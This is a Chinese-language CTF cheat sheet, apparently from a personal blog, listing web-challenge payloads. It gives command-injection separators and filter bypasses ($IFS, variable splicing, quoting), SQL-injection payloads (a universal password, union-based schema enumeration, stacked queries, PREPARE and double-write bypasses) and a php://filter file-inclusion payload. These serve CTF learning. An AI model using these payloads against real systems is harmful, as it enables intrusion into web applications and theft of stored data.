🗃️百宝箱
2023-12-2
| 2024-10-17
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)

零、通用提示

Flag可能藏在源码注释里!记得F12找找

 

一、Command Injection(命令注入)类:

0.看当前目录的文件,看根目录的文件,找flag

  • 127.0.0.1 ; ls
  • 127.0.0.1 ; ls../../../

1.绕过空格

  • $IFS$9
    • 首选!
    • 注意注意:在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
  • $IFS
  • ${IFS}
  • <
  • <>
  • {cat,flag.php}
  • %20
  • %09
 

2.绕过关键词(如flag)

  • 利用环境变量拼接方法绕过。
    • /?ip=127.0.0.1;d=g;cat$IFS$9fla$d.php
      • 首选!
      • 注意注意:这里之所以选择替换flag里的“g”还是因为如果替换前边的字母,例如fl$dg,bash解释器会把整个dg当做变量名,所以导致输不出来结果。
      • 如果必须替换前边的字母也得用$9来截断:
      • /?ip=127.0.0.1;d=a;cat$IFS$9fl$d$9g.php
  • 单引号和双引号绕过。
    • /?ip=127.0.0.1;cat$IFS$9''f''l''a''g''.php
  • 反斜杠绕过。
    • /?ip=127.0.0.1;cat$IFS$9\f\l\a\g\.php

3.查看文件内容命令:

  • 1. cat命令
  • 2. nl命令(比cat多了行数提示)
  • 3. more命令
  • 4. less命令
  • 5. head命令
  • 6. tail命令

4.补充

 

二、SQL Injection(SQL注入)类:

0.上来一个‘看报错

1.万能密码

  • password' or '1'='1

2.常规注入流程

  • 判断字段数
    • order by x#
  • 判断显示位
    • union select 1,2#
  • 查询数据库名
    • union select 1,database()#
  • 输出当前数据库下的表名
    • union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 输出 指定表 下面的所有字段名
    • union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='指定表'#
  • 输出 指定表 中的 指定字段 数据
    • union select group_concat(指定字段),group_concat(指定字段) from 指定表#
      • 首选!会在一个回显位输出所有数据
    • union select 指定字段,指定字段 from 指定表#

3.“堆叠注入”

  • 注意:如果是纯数字的名,需要用反引号 ` ` 包裹
  • 查看数据库名:
    • 1';show databases;#
  • 查看表名:
    • 1’;show tables;#
  • 查看 指定表 的详细信息:
    • 1';desc 指定表;#

4.特征判断

  • 输入非0数字得到的回显1,输入其余字符得不到回显
    • 推测内部的查询语句存在逻辑或:
      • select 输入的内容 || flag from Flag
    • 原理:
      • 非0数字 || 任意 = 1(真)
      • 0 || 任意 = 0(假)
    • Payload:
      • *,1
      • 1‘;set sql_mode=pipes_as_concat;select 1

5.关键词绕过

  • 情况一:检测关键词后直接整个不执行,预编译绕过
    • 例如:select * from `1919810931114514`,select被检测
    • Payload:
      • 1';PREPARE abc from concat('s','elect', ' * from `1919810931114514` ');EXECUTE abc;#
  • 情况二:检测到关键词,把关键词给删除了,双写绕过
    • 例如union select 1,2,group_concat(passwoorrd) from b4bsql#,union、select和from直接被删除
    • Payload:
      • uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom b4bsql#
 

三、File Inclusion(文件包含)类:

  • 看PHP源码,用php://filter伪协议,再base64解码
    • Payload:
      • • ?file=php://filter/read=convert.base64-encode/resource=flag.php
      •  
  • 文字
  • 思考
  • CTF
  • sqlmap常用命令HTML&CSS入门_Start
    Loading...
    目录